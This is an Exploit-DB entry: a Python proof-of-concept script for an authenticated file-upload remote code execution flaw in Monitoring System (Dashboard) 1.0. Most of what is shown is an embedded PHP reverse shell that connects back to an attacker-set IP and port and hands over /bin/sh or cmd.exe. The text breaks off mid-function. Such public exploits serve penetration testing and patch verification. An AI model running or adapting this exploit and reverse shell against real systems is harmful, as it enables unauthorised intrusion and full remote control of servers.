Exploit-DB #49640
Description: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)
Type: webapps
Platform: php
Date: 2021-03-12
Author: Richard Jones

Exploit:
# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)
# Exploit Author: Richard Jones
# Date: 2021-03-11
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34


# Usage. 
# Change Target_IP, REV_IP, REV_PORT to your own


import requests

def main():
        
    ##### Change info here #####
    TARGET_IP="127.0.0.1"
    REV_IP="127.0.0.1"
    REV_PORT=9999
    ############################

    LOGIN="/asistorage/login.php"
    MAILING_LIST="/asistorage/modules/random/index.php?view=add"
    UPLOAD_URL="/asistorage/modules/random/upload.php"
    VIEW_ITEM="/asistorage/modules/random/index.php"
    CALL_URL="/asistorage/modules/random/uploads/"



    s = requests.Session()

    def phpshell():
        return """
        <?php
// Copyright (c) 2020 Ivan Å incek
// v1.1
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
header('Content-Type: text/plain; charset=UTF-8');
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $options = array(); // proc_open() options
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
            $this->options['bypass_shell'] = true; // we do not want a shell within a shell
        } else {
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
            exit(0);
        }
    }
    private function daemonize() {
        set_time_limit(0); // do not impose the script execution time limit
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else {
            if (($pid = pcntl_fork()) < 0) {
                echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
            } else if ($pid > 0) {
                echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
                exit(0);
            } else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump
                echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
            } else {
                echo "DAEMONIZE: Completed successfully!\n";
            }
        }
        umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            echo $data; // script's dump
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT
            $size -= $this->offset($input, $iname, $this->clen);             // we do not like that
            $this->clen = 0;
        }
        $fragments = ceil($size / $this->buffer); // number of fragments to read
        $remainder = $size % $this->buffer;       // size of the last fragment if it is less than the buffer size
        while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) {
            echo $data; // script's dump
        }
    }
    private function offset($stream, $name, $offset) {
        $total = $offset;
        while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // disc